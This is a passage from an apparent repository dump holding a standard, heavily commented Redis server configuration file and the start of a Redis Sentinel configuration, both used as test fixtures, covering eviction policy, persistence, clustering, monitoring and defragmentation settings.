is\n# set to 'noeviction', Redis will start to reply with errors to commands\n# that would use more memory, like SET, LPUSH, and so on, and will continue\n# to reply to read-only commands like GET.\n#\n# This option is usually useful when using Redis as an LRU or LFU cache, or to\n# set a hard memory limit for an instance (using the 'noeviction' policy).\n#\n# WARNING: If you have replicas attached to an instance with maxmemory on,\n# the size of the output buffers needed to feed the replicas are subtracted\n# from the used memory count, so that network problems / resyncs will\n# not trigger a loop where keys are evicted, and in turn the output\n# buffer of replicas is full with DELs of keys evicted triggering the deletion\n# of more keys, and so forth until the database is completely emptied.\n#\n# In short... if you have replicas attached it is suggested that you set a lower\n# limit for maxmemory so that there is some free RAM on the system for replica\n# output buffers (but this is not needed if the policy is 'noeviction').\n#\n# maxmemory <bytes>\n\n# MAXMEMORY POLICY: how Redis will select what to remove when maxmemory\n# is reached. You can select among five behaviors:\n#\n# volatile-lru -> Evict using approximated LRU among the keys with an expire set.\n# allkeys-lru -> Evict any key using approximated LRU.\n# volatile-lfu -> Evict using approximated LFU among the keys with an expire set.\n# allkeys-lfu -> Evict any key using approximated LFU.\n# volatile-random -> Remove a random key among the ones with an expire set.\n# allkeys-random -> Remove a random key, any key.\n# volatile-ttl -> Remove the key with the nearest expire time (minor TTL)\n# noeviction -> Don't evict anything, just return an error on write operations.\n#\n# LRU means Least Recently Used\n# LFU means Least Frequently Used\n#\n# Both LRU, LFU and volatile-ttl are implemented using approximated\n# randomized algorithms.\n#\n# Note: with any of the above policies, Redis will return an error on write\n#       operations, when there are no suitable keys for eviction.\n#\n#       At the date of writing these commands are: set setnx setex append\n#       incr decr rpush lpush rpushx lpushx linsert lset rpoplpush sadd\n#       sinter sinterstore sunion sunionstore sdiff sdiffstore zadd zincrby\n#       zunionstore zinterstore hset hsetnx hmset hincrby incrby decrby\n#       getset mset msetnx exec sort\n#\n# The default is:\n#\n# maxmemory-policy noeviction\n\n# LRU, LFU and minimal TTL algorithms are not precise algorithms but approximated\n# algorithms (in order to save memory), so you can tune it for speed or\n# accuracy. For default Redis will check five keys and pick the one that was\n# used less recently, you can change the sample size using the following\n# configuration directive.\n#\n# The default of 5 produces good enough results. 10 Approximates very closely\n# true LRU but costs more CPU. 3 is faster but not very accurate.\n#\n# maxmemory-samples 5\n\n# Starting from Redis 5, by default a replica will ignore its maxmemory setting\n# (unless it is promoted to master after a failover or manually). It means\n# that the eviction of keys will be just handled by the master, sending the\n# DEL commands to the replica as keys evict in the master side.\n#\n# This behavior ensures that masters and replicas stay consistent, and is usually\n# what you want, however if your replica is writable, or you want the replica to have\n# a different memory setting, and you are sure all the writes performed to the\n# replica are idempotent, then you may change this default (but be sure to understand\n# what you are doing).\n#\n# Note that since the replica by default does not evict, it may end using more\n# memory than the one set via maxmemory (there are certain buffers that may\n# be larger on the replica, or data structures may sometimes take more memory and so\n# forth). So make sure you monitor your replicas and make sure they have enough\n# memory to never hit a real out-of-memory condition before the master hits\n# the configured maxmemory setting.\n#\n# replica-ignore-maxmemory yes\n\n############################# LAZY FREEING ####################################\n\n# Redis has two primitives to delete keys. One is called DEL and is a blocking\n# deletion of the object. It means that the server stops processing new commands\n# in order to reclaim all the memory associated with an object in a synchronous\n# way. If the key deleted is associated with a small object, the time needed\n# in order to execute the DEL command is very small and comparable to most other\n# O(1) or O(log_N) commands in Redis. However if the key is associated with an\n# aggregated value containing millions of elements, the server can block for\n# a long time (even seconds) in order to complete the operation.\n#\n# For the above reasons Redis also offers non blocking deletion primitives\n# such as UNLINK (non blocking DEL) and the ASYNC option of FLUSHALL and\n# FLUSHDB commands, in order to reclaim memory in background. Those commands\n# are executed in constant time. Another thread will incrementally free the\n# object in the background as fast as possible.\n#\n# DEL, UNLINK and ASYNC option of FLUSHALL and FLUSHDB are user-controlled.\n# It's up to the design of the application to understand when it is a good\n# idea to use one or the other. However the Redis server sometimes has to\n# delete keys or flush the whole database as a side effect of other operations.\n# Specifically Redis deletes objects independently of a user call in the\n# following scenarios:\n#\n# 1) On eviction, because of the maxmemory and maxmemory policy configurations,\n#    in order to make room for new data, without going over the specified\n#    memory limit.\n# 2) Because of expire: when a key with an associated time to live (see the\n#    EXPIRE command) must be deleted from memory.\n# 3) Because of a side effect of a command that stores data on a key that may\n#    already exist. For example the RENAME command may delete the old key\n#    content when it is replaced with another one. Similarly SUNIONSTORE\n#    or SORT with STORE option may delete existing keys. The SET command\n#    itself removes any old content of the specified key in order to replace\n#    it with the specified string.\n# 4) During replication, when a replica performs a full resynchronization with\n#    its master, the content of the whole database is removed in order to\n#    load the RDB file just transferred.\n#\n# In all the above cases the default is to delete objects in a blocking way,\n# like if DEL was called. However you can configure each case specifically\n# in order to instead release memory in a non-blocking way like if UNLINK\n# was called, using the following configuration directives:\n\nlazyfree-lazy-eviction no\nlazyfree-lazy-expire no\nlazyfree-lazy-server-del no\nreplica-lazy-flush no\n\n############################## APPEND ONLY MODE ###############################\n\n# By default Redis asynchronously dumps the dataset on disk. This mode is\n# good enough in many applications, but an issue with the Redis process or\n# a power outage may result into a few minutes of writes lost (depending on\n# the configured save points).\n#\n# The Append Only File is an alternative persistence mode that provides\n# much better durability. For instance using the default data fsync policy\n# (see later in the config file) Redis can lose just one second of writes in a\n# dramatic event like a server power outage, or a single write if something\n# wrong with the Redis process itself happens, but the operating system is\n# still running correctly.\n#\n# AOF and RDB persistence can be enabled at the same time without problems.\n# If the AOF is enabled on startup Redis will load the AOF, that is the file\n# with the better durability guarantees.\n#\n# Please check http://redis.io/topics/persistence for more information.\n\nappendonly no\n\n# The name of the append only file (default: \"appendonly.aof\")\n\nappendfilename \"appendonly.aof\"\n\n# The fsync() call tells the Operating System to actually write data on disk\n# instead of waiting for more data in the output buffer. Some OS will really flush\n# data on disk, some other OS will just try to do it ASAP.\n#\n# Redis supports three different modes:\n#\n# no: don't fsync, just let the OS flush the data when it wants. Faster.\n# always: fsync after every write to the append only log. Slow, Safest.\n# everysec: fsync only one time every second. Compromise.\n#\n# The default is \"everysec\", as that's usually the right compromise between\n# speed and data safety. It's up to you to understand if you can relax this to\n# \"no\" that will let the operating system flush the output buffer when\n# it wants, for better performances (but if you can live with the idea of\n# some data loss consider the default persistence mode that's snapshotting),\n# or on the contrary, use \"always\" that's very slow but a bit safer than\n# everysec.\n#\n# More details please check the following article:\n# http://antirez.com/post/redis-persistence-demystified.html\n#\n# If unsure, use \"everysec\".\n\n# appendfsync always\nappendfsync everysec\n# appendfsync no\n\n# When the AOF fsync policy is set to always or everysec, and a background\n# saving process (a background save or AOF log background rewriting) is\n# performing a lot of I/O against the disk, in some Linux configurations\n# Redis may block too long on the fsync() call. Note that there is no fix for\n# this currently, as even performing fsync in a different thread will block\n# our synchronous write(2) call.\n#\n# In order to mitigate this problem it's possible to use the following option\n# that will prevent fsync() from being called in the main process while a\n# BGSAVE or BGREWRITEAOF is in progress.\n#\n# This means that while another child is saving, the durability of Redis is\n# the same as \"appendfsync none\". In practical terms, this means that it is\n# possible to lose up to 30 seconds of log in the worst scenario (with the\n# default Linux settings).\n#\n# If you have latency problems turn this to \"yes\". Otherwise leave it as\n# \"no\" that is the safest pick from the point of view of durability.\n\nno-appendfsync-on-rewrite no\n\n# Automatic rewrite of the append only file.\n# Redis is able to automatically rewrite the log file implicitly calling\n# BGREWRITEAOF when the AOF log size grows by the specified percentage.\n#\n# This is how it works: Redis remembers the size of the AOF file after the\n# latest rewrite (if no rewrite has happened since the restart, the size of\n# the AOF at startup is used).\n#\n# This base size is compared to the current size. If the current size is\n# bigger than the specified percentage, the rewrite is triggered. Also\n# you need to specify a minimal size for the AOF file to be rewritten, this\n# is useful to avoid rewriting the AOF file even if the percentage increase\n# is reached but it is still pretty small.\n#\n# Specify a percentage of zero in order to disable the automatic AOF\n# rewrite feature.\n\nauto-aof-rewrite-percentage 100\nauto-aof-rewrite-min-size 64mb\n\n# An AOF file may be found to be truncated at the end during the Redis\n# startup process, when the AOF data gets loaded back into memory.\n# This may happen when the system where Redis is running\n# crashes, especially when an ext4 filesystem is mounted without the\n# data=ordered option (however this can't happen when Redis itself\n# crashes or aborts but the operating system still works correctly).\n#\n# Redis can either exit with an error when this happens, or load as much\n# data as possible (the default now) and start if the AOF file is found\n# to be truncated at the end. The following option controls this behavior.\n#\n# If aof-load-truncated is set to yes, a truncated AOF file is loaded and\n# the Redis server starts emitting a log to inform the user of the event.\n# Otherwise if the option is set to no, the server aborts with an error\n# and refuses to start. When the option is set to no, the user requires\n# to fix the AOF file using the \"redis-check-aof\" utility before to restart\n# the server.\n#\n# Note that if the AOF file will be found to be corrupted in the middle\n# the server will still exit with an error. This option only applies when\n# Redis will try to read more data from the AOF file but not enough bytes\n# will be found.\naof-load-truncated yes\n\n# When rewriting the AOF file, Redis is able to use an RDB preamble in the\n# AOF file for faster rewrites and recoveries. When this option is turned\n# on the rewritten AOF file is composed of two different stanzas:\n#\n#   [RDB file][AOF tail]\n#\n# When loading Redis recognizes that the AOF file starts with the \"REDIS\"\n# string and loads the prefixed RDB file, and continues loading the AOF\n# tail.\naof-use-rdb-preamble yes\n\n################################ LUA SCRIPTING  ###############################\n\n# Max execution time of a Lua script in milliseconds.\n#\n# If the maximum execution time is reached Redis will log that a script is\n# still in execution after the maximum allowed time and will start to\n# reply to queries with an error.\n#\n# When a long running script exceeds the maximum execution time only the\n# SCRIPT KILL and SHUTDOWN NOSAVE commands are available. The first can be\n# used to stop a script that did not yet called write commands. The second\n# is the only way to shut down the server in the case a write command was\n# already issued by the script but the user doesn't want to wait for the natural\n# termination of the script.\n#\n# Set it to 0 or a negative value for unlimited execution without warnings.\nlua-time-limit 5000\n\n################################ REDIS CLUSTER  ###############################\n\n# Normal Redis instances can't be part of a Redis Cluster; only nodes that are\n# started as cluster nodes can. In order to start a Redis instance as a\n# cluster node enable the cluster support uncommenting the following:\n#\n# cluster-enabled yes\n\n# Every cluster node has a cluster configuration file. This file is not\n# intended to be edited by hand. It is created and updated by Redis nodes.\n# Every Redis Cluster node requires a different cluster configuration file.\n# Make sure that instances running in the same system do not have\n# overlapping cluster configuration file names.\n#\n# cluster-config-file nodes-6379.conf\n\n# Cluster node timeout is the amount of milliseconds a node must be unreachable\n# for it to be considered in failure state.\n# Most other internal time limits are multiple of the node timeout.\n#\n# cluster-node-timeout 15000\n\n# A replica of a failing master will avoid to start a failover if its data\n# looks too old.\n#\n# There is no simple way for a replica to actually have an exact measure of\n# its \"data age\", so the following two checks are performed:\n#\n# 1) If there are multiple replicas able to failover, they exchange messages\n#    in order to try to give an advantage to the replica with the best\n#    replication offset (more data from the master processed).\n#    Replicas will try to get their rank by offset, and apply to the start\n#    of the failover a delay proportional to their rank.\n#\n# 2) Every single replica computes the time of the last interaction with\n#    its master. This can be the last ping or command received (if the master\n#    is still in the \"connected\" state), or the time that elapsed since the\n#    disconnection with the master (if the replication link is currently down).\n#    If the last interaction is too old, the replica will not try to failover\n#    at all.\n#\n# The point \"2\" can be tuned by user. Specifically a replica will not perform\n# the failover if, since the last interaction with the master, the time\n# elapsed is greater than:\n#\n#   (node-timeout * replica-validity-factor) + repl-ping-replica-period\n#\n# So for example if node-timeout is 30 seconds, and the replica-validity-factor\n# is 10, and assuming a default repl-ping-replica-period of 10 seconds, the\n# replica will not try to failover if it was not able to talk with the master\n# for longer than 310 seconds.\n#\n# A large replica-validity-factor may allow replicas with too old data to failover\n# a master, while a too small value may prevent the cluster from being able to\n# elect a replica at all.\n#\n# For maximum availability, it is possible to set the replica-validity-factor\n# to a value of 0, which means, that replicas will always try to failover the\n# master regardless of the last time they interacted with the master.\n# (However they'll always try to apply a delay proportional to their\n# offset rank).\n#\n# Zero is the only value able to guarantee that when all the partitions heal\n# the cluster will always be able to continue.\n#\n# cluster-replica-validity-factor 10\n\n# Cluster replicas are able to migrate to orphaned masters, that are masters\n# that are left without working replicas. This improves the cluster ability\n# to resist to failures as otherwise an orphaned master can't be failed over\n# in case of failure if it has no working replicas.\n#\n# Replicas migrate to orphaned masters only if there are still at least a\n# given number of other working replicas for their old master. This number\n# is the \"migration barrier\". A migration barrier of 1 means that a replica\n# will migrate only if there is at least 1 other working replica for its master\n# and so forth. It usually reflects the number of replicas you want for every\n# master in your cluster.\n#\n# Default is 1 (replicas migrate only if their masters remain with at least\n# one replica). To disable migration just set it to a very large value.\n# A value of 0 can be set but is useful only for debugging and dangerous\n# in production.\n#\n# cluster-migration-barrier 1\n\n# By default Redis Cluster nodes stop accepting queries if they detect there\n# is at least an hash slot uncovered (no available node is serving it).\n# This way if the cluster is partially down (for example a range of hash slots\n# are no longer covered) all the cluster becomes, eventually, unavailable.\n# It automatically returns available as soon as all the slots are covered again.\n#\n# However sometimes you want the subset of the cluster which is working,\n# to continue to accept queries for the part of the key space that is still\n# covered. In order to do so, just set the cluster-require-full-coverage\n# option to no.\n#\n# cluster-require-full-coverage yes\n\n# This option, when set to yes, prevents replicas from trying to failover its\n# master during master failures. However the master can still perform a\n# manual failover, if forced to do so.\n#\n# This is useful in different scenarios, especially in the case of multiple\n# data center operations, where we want one side to never be promoted if not\n# in the case of a total DC failure.\n#\n# cluster-replica-no-failover no\n\n# In order to setup your cluster make sure to read the documentation\n# available at http://redis.io web site.\n\n########################## CLUSTER DOCKER/NAT support  ########################\n\n# In certain deployments, Redis Cluster nodes address discovery fails, because\n# addresses are NAT-ted or because ports are forwarded (the typical case is\n# Docker and other containers).\n#\n# In order to make Redis Cluster working in such environments, a static\n# configuration where each node knows its public address is needed. The\n# following two options are used for this scope, and are:\n#\n# * cluster-announce-ip\n# * cluster-announce-port\n# * cluster-announce-bus-port\n#\n# Each instruct the node about its address, client port, and cluster message\n# bus port. The information is then published in the header of the bus packets\n# so that other nodes will be able to correctly map the address of the node\n# publishing the information.\n#\n# If the above options are not used, the normal Redis Cluster auto-detection\n# will be used instead.\n#\n# Note that when remapped, the bus port may not be at the fixed offset of\n# clients port + 10000, so you can specify any port and bus-port depending\n# on how they get remapped. If the bus-port is not set, a fixed offset of\n# 10000 will be used as usually.\n#\n# Example:\n#\n# cluster-announce-ip 10.1.1.5\n# cluster-announce-port 6379\n# cluster-announce-bus-port 6380\n\n################################## SLOW LOG ###################################\n\n# The Redis Slow Log is a system to log queries that exceeded a specified\n# execution time. The execution time does not include the I/O operations\n# like talking with the client, sending the reply and so forth,\n# but just the time needed to actually execute the command (this is the only\n# stage of command execution where the thread is blocked and can not serve\n# other requests in the meantime).\n#\n# You can configure the slow log with two parameters: one tells Redis\n# what is the execution time, in microseconds, to exceed in order for the\n# command to get logged, and the other parameter is the length of the\n# slow log. When a new command is logged the oldest one is removed from the\n# queue of logged commands.\n\n# The following time is expressed in microseconds, so 1000000 is equivalent\n# to one second. Note that a negative number disables the slow log, while\n# a value of zero forces the logging of every command.\nslowlog-log-slower-than 10000\n\n# There is no limit to this length. Just be aware that it will consume memory.\n# You can reclaim memory used by the slow log with SLOWLOG RESET.\nslowlog-max-len 128\n\n################################ LATENCY MONITOR ##############################\n\n# The Redis latency monitoring subsystem samples different operations\n# at runtime in order to collect data related to possible sources of\n# latency of a Redis instance.\n#\n# Via the LATENCY command this information is available to the user that can\n# print graphs and obtain reports.\n#\n# The system only logs operations that were performed in a time equal or\n# greater than the amount of milliseconds specified via the\n# latency-monitor-threshold configuration directive. When its value is set\n# to zero, the latency monitor is turned off.\n#\n# By default latency monitoring is disabled since it is mostly not needed\n# if you don't have latency issues, and collecting data has a performance\n# impact, that while very small, can be measured under big load. Latency\n# monitoring can easily be enabled at runtime using the command\n# \"CONFIG SET latency-monitor-threshold <milliseconds>\" if needed.\nlatency-monitor-threshold 0\n\n############################# EVENT NOTIFICATION ##############################\n\n# Redis can notify Pub/Sub clients about events happening in the key space.\n# This feature is documented at http://redis.io/topics/notifications\n#\n# For instance if keyspace events notification is enabled, and a client\n# performs a DEL operation on key \"foo\" stored in the Database 0, two\n# messages will be published via Pub/Sub:\n#\n# PUBLISH __keyspace@0__:foo del\n# PUBLISH __keyevent@0__:del foo\n#\n# It is possible to select the events that Redis will notify among a set\n# of classes. Every class is identified by a single character:\n#\n#  K     Keyspace events, published with __keyspace@<db>__ prefix.\n#  E     Keyevent events, published with __keyevent@<db>__ prefix.\n#  g     Generic commands (non-type specific) like DEL, EXPIRE, RENAME, ...\n#  $     String commands\n#  l     List commands\n#  s     Set commands\n#  h     Hash commands\n#  z     Sorted set commands\n#  x     Expired events (events generated every time a key expires)\n#  e     Evicted events (events generated when a key is evicted for maxmemory)\n#  A     Alias for g$lshzxe, so that the \"AKE\" string means all the events.\n#\n#  The \"notify-keyspace-events\" takes as argument a string that is composed\n#  of zero or multiple characters. The empty string means that notifications\n#  are disabled.\n#\n#  Example: to enable list and generic events, from the point of view of the\n#           event name, use:\n#\n#  notify-keyspace-events Elg\n#\n#  Example 2: to get the stream of the expired keys subscribing to channel\n#             name __keyevent@0__:expired use:\n#\n#  notify-keyspace-events Ex\n#\n#  By default all notifications are disabled because most users don't need\n#  this feature and the feature has some overhead. Note that if you don't\n#  specify at least one of K or E, no events will be delivered.\nnotify-keyspace-events \"\"\n\n############################### ADVANCED CONFIG ###############################\n\n# Hashes are encoded using a memory efficient data structure when they have a\n# small number of entries, and the biggest entry does not exceed a given\n# threshold. These thresholds can be configured using the following directives.\nhash-max-ziplist-entries 512\nhash-max-ziplist-value 64\n\n# Lists are also encoded in a special way to save a lot of space.\n# The number of entries allowed per internal list node can be specified\n# as a fixed maximum size or a maximum number of elements.\n# For a fixed maximum size, use -5 through -1, meaning:\n# -5: max size: 64 Kb  <-- not recommended for normal workloads\n# -4: max size: 32 Kb  <-- not recommended\n# -3: max size: 16 Kb  <-- probably not recommended\n# -2: max size: 8 Kb   <-- good\n# -1: max size: 4 Kb   <-- good\n# Positive numbers mean store up to _exactly_ that number of elements\n# per list node.\n# The highest performing option is usually -2 (8 Kb size) or -1 (4 Kb size),\n# but if your use case is unique, adjust the settings as necessary.\nlist-max-ziplist-size -2\n\n# Lists may also be compressed.\n# Compress depth is the number of quicklist ziplist nodes from *each* side of\n# the list to *exclude* from compression.  The head and tail of the list\n# are always uncompressed for fast push/pop operations.  Settings are:\n# 0: disable all list compression\n# 1: depth 1 means \"don't start compressing until after 1 node into the list,\n#    going from either the head or tail\"\n#    So: [head]->node->node->...->node->[tail]\n#    [head], [tail] will always be uncompressed; inner nodes will compress.\n# 2: [head]->[next]->node->node->...->node->[prev]->[tail]\n#    2 here means: don't compress head or head->next or tail->prev or tail,\n#    but compress all nodes between them.\n# 3: [head]->[next]->[next]->node->node->...->node->[prev]->[prev]->[tail]\n# etc.\nlist-compress-depth 0\n\n# Sets have a special encoding in just one case: when a set is composed\n# of just strings that happen to be integers in radix 10 in the range\n# of 64 bit signed integers.\n# The following configuration setting sets the limit in the size of the\n# set in order to use this special memory saving encoding.\nset-max-intset-entries 512\n\n# Similarly to hashes and lists, sorted sets are also specially encoded in\n# order to save a lot of space. This encoding is only used when the length and\n# elements of a sorted set are below the following limits:\nzset-max-ziplist-entries 128\nzset-max-ziplist-value 64\n\n# HyperLogLog sparse representation bytes limit. The limit includes the\n# 16 bytes header. When an HyperLogLog using the sparse representation crosses\n# this limit, it is converted into the dense representation.\n#\n# A value greater than 16000 is totally useless, since at that point the\n# dense representation is more memory efficient.\n#\n# The suggested value is ~ 3000 in order to have the benefits of\n# the space efficient encoding without slowing down too much PFADD,\n# which is O(N) with the sparse encoding. The value can be raised to\n# ~ 10000 when CPU is not a concern, but space is, and the data set is\n# composed of many HyperLogLogs with cardinality in the 0 - 15000 range.\nhll-sparse-max-bytes 3000\n\n# Streams macro node max size / items. The stream data structure is a radix\n# tree of big nodes that encode multiple items inside. Using this configuration\n# it is possible to configure how big a single node can be in bytes, and the\n# maximum number of items it may contain before switching to a new node when\n# appending new stream entries. If any of the following settings are set to\n# zero, the limit is ignored, so for instance it is possible to set just a\n# max entires limit by setting max-bytes to 0 and max-entries to the desired\n# value.\nstream-node-max-bytes 4096\nstream-node-max-entries 100\n\n# Active rehashing uses 1 millisecond every 100 milliseconds of CPU time in\n# order to help rehashing the main Redis hash table (the one mapping top-level\n# keys to values). The hash table implementation Redis uses (see dict.c)\n# performs a lazy rehashing: the more operation you run into a hash table\n# that is rehashing, the more rehashing \"steps\" are performed, so if the\n# server is idle the rehashing is never complete and some more memory is used\n# by the hash table.\n#\n# The default is to use this millisecond 10 times every second in order to\n# actively rehash the main dictionaries, freeing memory when possible.\n#\n# If unsure:\n# use \"activerehashing no\" if you have hard latency requirements and it is\n# not a good thing in your environment that Redis can reply from time to time\n# to queries with 2 milliseconds delay.\n#\n# use \"activerehashing yes\" if you don't have such hard requirements but\n# want to free memory asap when possible.\nactiverehashing yes\n\n# The client output buffer limits can be used to force disconnection of clients\n# that are not reading data from the server fast enough for some reason (a\n# common reason is that a Pub/Sub client can't consume messages as fast as the\n# publisher can produce them).\n#\n# The limit can be set differently for the three different classes of clients:\n#\n# normal -> normal clients including MONITOR clients\n# replica  -> replica clients\n# pubsub -> clients subscribed to at least one pubsub channel or pattern\n#\n# The syntax of every client-output-buffer-limit directive is the following:\n#\n# client-output-buffer-limit <class> <hard limit> <soft limit> <soft seconds>\n#\n# A client is immediately disconnected once the hard limit is reached, or if\n# the soft limit is reached and remains reached for the specified number of\n# seconds (continuously).\n# So for instance if the hard limit is 32 megabytes and the soft limit is\n# 16 megabytes / 10 seconds, the client will get disconnected immediately\n# if the size of the output buffers reach 32 megabytes, but will also get\n# disconnected if the client reaches 16 megabytes and continuously overcomes\n# the limit for 10 seconds.\n#\n# By default normal clients are not limited because they don't receive data\n# without asking (in a push way), but just after a request, so only\n# asynchronous clients may create a scenario where data is requested faster\n# than it can read.\n#\n# Instead there is a default limit for pubsub and replica clients, since\n# subscribers and replicas receive data in a push fashion.\n#\n# Both the hard or the soft limit can be disabled by setting them to zero.\nclient-output-buffer-limit normal 0 0 0\nclient-output-buffer-limit replica 256mb 64mb 60\nclient-output-buffer-limit pubsub 32mb 8mb 60\n\n# Client query buffers accumulate new commands. They are limited to a fixed\n# amount by default in order to avoid that a protocol desynchronization (for\n# instance due to a bug in the client) will lead to unbound memory usage in\n# the query buffer. However you can configure it here if you have very special\n# needs, such us huge multi/exec requests or alike.\n#\n# client-query-buffer-limit 1gb\n\n# In the Redis protocol, bulk requests, that are, elements representing single\n# strings, are normally limited ot 512 mb. However you can change this limit\n# here.\n#\n# proto-max-bulk-len 512mb\n\n# Redis calls an internal function to perform many background tasks, like\n# closing connections of clients in timeout, purging expired keys that are\n# never requested, and so forth.\n#\n# Not all tasks are performed with the same frequency, but Redis checks for\n# tasks to perform according to the specified \"hz\" value.\n#\n# By default \"hz\" is set to 10. Raising the value will use more CPU when\n# Redis is idle, but at the same time will make Redis more responsive when\n# there are many keys expiring at the same time, and timeouts may be\n# handled with more precision.\n#\n# The range is between 1 and 500, however a value over 100 is usually not\n# a good idea. Most users should use the default of 10 and raise this up to\n# 100 only in environments where very low latency is required.\nhz 10\n\n# Normally it is useful to have an HZ value which is proportional to the\n# number of clients connected. This is useful in order, for instance, to\n# avoid too many clients are processed for each background task invocation\n# in order to avoid latency spikes.\n#\n# Since the default HZ value by default is conservatively set to 10, Redis\n# offers, and enables by default, the ability to use an adaptive HZ value\n# which will temporary raise when there are many connected clients.\n#\n# When dynamic HZ is enabled, the actual configured HZ will be used as\n# as a baseline, but multiples of the configured HZ value will be actually\n# used as needed once more clients are connected. In this way an idle\n# instance will use very little CPU time while a busy instance will be\n# more responsive.\ndynamic-hz yes\n\n# When a child rewrites the AOF file, if the following option is enabled\n# the file will be fsync-ed every 32 MB of data generated. This is useful\n# in order to commit the file to the disk more incrementally and avoid\n# big latency spikes.\naof-rewrite-incremental-fsync yes\n\n# When redis saves RDB file, if the following option is enabled\n# the file will be fsync-ed every 32 MB of data generated. This is useful\n# in order to commit the file to the disk more incrementally and avoid\n# big latency spikes.\nrdb-save-incremental-fsync yes\n\n# Redis LFU eviction (see maxmemory setting) can be tuned. However it is a good\n# idea to start with the default settings and only change them after investigating\n# how to improve the performances and how the keys LFU change over time, which\n# is possible to inspect via the OBJECT FREQ command.\n#\n# There are two tunable parameters in the Redis LFU implementation: the\n# counter logarithm factor and the counter decay time. It is important to\n# understand what the two parameters mean before changing them.\n#\n# The LFU counter is just 8 bits per key, it's maximum value is 255, so Redis\n# uses a probabilistic increment with logarithmic behavior. Given the value\n# of the old counter, when a key is accessed, the counter is incremented in\n# this way:\n#\n# 1. A random number R between 0 and 1 is extracted.\n# 2. A probability P is calculated as 1/(old_value*lfu_log_factor+1).\n# 3. The counter is incremented only if R < P.\n#\n# The default lfu-log-factor is 10. This is a table of how the frequency\n# counter changes with a different number of accesses with different\n# logarithmic factors:\n#\n# +--------+------------+------------+------------+------------+------------+\n# | factor | 100 hits   | 1000 hits  | 100K hits  | 1M hits    | 10M hits   |\n# +--------+------------+------------+------------+------------+------------+\n# | 0      | 104        | 255        | 255        | 255        | 255        |\n# +--------+------------+------------+------------+------------+------------+\n# | 1      | 18         | 49         | 255        | 255        | 255        |\n# +--------+------------+------------+------------+------------+------------+\n# | 10     | 10         | 18         | 142        | 255        | 255        |\n# +--------+------------+------------+------------+------------+------------+\n# | 100    | 8          | 11         | 49         | 143        | 255        |\n# +--------+------------+------------+------------+------------+------------+\n#\n# NOTE: The above table was obtained by running the following commands:\n#\n#   redis-benchmark -n 1000000 incr foo\n#   redis-cli object freq foo\n#\n# NOTE 2: The counter initial value is 5 in order to give new objects a chance\n# to accumulate hits.\n#\n# The counter decay time is the time, in minutes, that must elapse in order\n# for the key counter to be divided by two (or decremented if it has a value\n# less <= 10).\n#\n# The default value for the lfu-decay-time is 1. A Special value of 0 means to\n# decay the counter every time it happens to be scanned.\n#\n# lfu-log-factor 10\n# lfu-decay-time 1\n\n########################### ACTIVE DEFRAGMENTATION #######################\n#\n# WARNING THIS FEATURE IS EXPERIMENTAL. However it was stress tested\n# even in production and manually tested by multiple engineers for some\n# time.\n#\n# What is active defragmentation?\n# -------------------------------\n#\n# Active (online) defragmentation allows a Redis server to compact the\n# spaces left between small allocations and deallocations of data in memory,\n# thus allowing to reclaim back memory.\n#\n# Fragmentation is a natural process that happens with every allocator (but\n# less so with Jemalloc, fortunately) and certain workloads. Normally a server\n# restart is needed in order to lower the fragmentation, or at least to flush\n# away all the data and create it again. However thanks to this feature\n# implemented by Oran Agra for Redis 4.0 this process can happen at runtime\n# in an \"hot\" way, while the server is running.\n#\n# Basically when the fragmentation is over a certain level (see the\n# configuration options below) Redis will start to create new copies of the\n# values in contiguous memory regions by exploiting certain specific Jemalloc\n# features (in order to understand if an allocation is causing fragmentation\n# and to allocate it in a better place), and at the same time, will release the\n# old copies of the data. This process, repeated incrementally for all the keys\n# will cause the fragmentation to drop back to normal values.\n#\n# Important things to understand:\n#\n# 1. This feature is disabled by default, and only works if you compiled Redis\n#    to use the copy of Jemalloc we ship with the source code of Redis.\n#    This is the default with Linux builds.\n#\n# 2. You never need to enable this feature if you don't have fragmentation\n#    issues.\n#\n# 3. Once you experience fragmentation, you can enable this feature when\n#    needed with the command \"CONFIG SET activedefrag yes\".\n#\n# The configuration parameters are able to fine tune the behavior of the\n# defragmentation process. If you are not sure about what they mean it is\n# a good idea to leave the defaults untouched.\n\n# Enabled active defragmentation\n# activedefrag yes\n\n# Minimum amount of fragmentation waste to start active defrag\n# active-defrag-ignore-bytes 100mb\n\n# Minimum percentage of fragmentation to start active defrag\n# active-defrag-threshold-lower 10\n\n# Maximum percentage of fragmentation at which we use maximum effort\n# active-defrag-threshold-upper 100\n\n# Minimal effort for defrag in CPU percentage\n# active-defrag-cycle-min 5\n\n# Maximal effort for defrag in CPU percentage\n# active-defrag-cycle-max 75\n\n# Maximum number of set/hash/zset/list fields that will be processed from\n# the main dictionary scan\n# active-defrag-max-scan-fields 1000\n\n"
  },
  {
    "path": "plugins/redis/test/fixtures/redis/sentinel-26379.conf",
    "content": "# Example sentinel.conf\n\ndaemonize yes\n\n# port <sentinel-port>\n# The port that this sentinel instance will run on\nport 26379\n\n# sentinel announce-ip <ip>\n# sentinel announce-port <port>\n#\n# The above two configuration directives are useful in environments where,\n# because of NAT, Sentinel is reachable from outside via a non-local address.\n#\n# When announce-ip is provided, the Sentinel will claim the specified IP address\n# in HELLO messages used to gossip its presence, instead of auto-detecting the\n# local address as it usually does.\n#\n# Similarly when announce-port is provided and is valid and non-zero, Sentinel\n# will announce the specified TCP port.\n#\n# The two options don't need to be used together, if only announce-ip is\n# provided, the Sentinel will announce the specified IP and the server port\n# as specified by the \"port\" option. If only announce-port is provided, the\n# Sentinel will announce the auto-detected local IP and the specified port.\n#\n# Example:\n#\n# sentinel announce-ip 1.2.3.4\n\n# dir <working-directory>\n# Every long running process should have a well-defined working directory.\n# For Redis Sentinel to chdir to /tmp at startup is the simplest thing\n# for the process to don't interfere with administrative tasks such as\n# unmounting filesystems.\ndir /tmp\n\n# sentinel monitor <master-name> <ip> <redis-port> <quorum>\n#\n# Tells Sentinel to monitor this master, and to consider it in O_DOWN\n# (Objectively Down) state only if at least <quorum> sentinels agree.\n#\n# Note that whatever is the ODOWN quorum, a Sentinel will require to\n# be elected by the majority of the known Sentinels in order to\n# start a failover, so no failover can be performed in minority.\n#\n# Slaves are auto-discovered, so you don't need to specify slaves in\n# any way. Sentinel itself will rewrite this configuration file adding\n# the slaves using additional configuration options.\n# Also note that the configuration file is rewritten when a\n# slave is promoted to master.\n#\n# Note: master name should not include special characters or spaces.\n# The valid charset is A-z 0-9 and the three characters \".-_\".\nsentinel monitor mymaster 127.0.0.1 6379 2\n\n# sentinel auth-pass <master-name> <password>\n#\n# Set the password to use to authenticate with the master and slaves.\n# Useful if there is a password set in the Redis instances to monitor.\n#\n# Note that the master password is also used for slaves, so it is 